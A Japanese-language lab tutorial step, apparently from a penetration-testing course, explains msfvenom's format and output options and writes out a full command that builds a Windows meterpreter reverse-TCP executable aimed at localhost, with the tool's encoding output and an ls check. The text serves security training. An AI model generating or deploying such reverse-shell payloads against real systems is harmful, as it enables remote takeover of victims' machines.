-f exe および -o を使用して出力フォーマットとファイル名を指定する
このステップでは、ペイロードのフォーマットを指定してファイルに保存することで、ペイロードを最終化します。生のシェルコードをターミナルに出力しても、配信には実用的ではありません。ターゲットオペレーティングシステムが実行できる形式にパッケージ化する必要があります。
msfvenom は、このための 2 つの重要なオプションを提供します。
-f または --format: このオプションは出力フォーマットを指定します。ターゲットは Windows なので、標準的な Windows 実行可能ファイルを作成するために exe フォーマットを使用します。
-o または --out: このオプションは、出力ファイルのパスとファイル名を指定します。
これまでに学習したすべてのオプションを、単一の最終コマンドにまとめましょう。このコマンドは、現在のディレクトリ (~/project) に payload.exe という名前の Windows 実行可能ファイルを生成します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe
コマンドが完了すると、ペイロードの作成を確認する出力が表示されます。
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
ls -l コマンドを使用してファイルが作成されたことを確認できます。
ls -l payload.exe
出力には新しく作成されたファイルが表示されるはずです。
-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe
これで、スタンドアロンのペイロードファイルを正常に生成しました。